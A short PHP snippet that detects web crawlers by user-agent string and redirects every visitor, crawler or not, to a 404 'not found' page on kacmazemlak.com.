function _bot_detected() {if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|crawl|slurp|spider/i', $_SERVER['HTTP_USER_AGENT'])) {return TRUE;}else {return FALSE;}}if (_bot_detected()) {header("Location: https://www.kacmazemlak.com/404-not-found", true, 404);die();} else {header("HTTP/1.0 404 Not Found");header("Location: https://www.kacmazemlak.com/404-not-found");die();}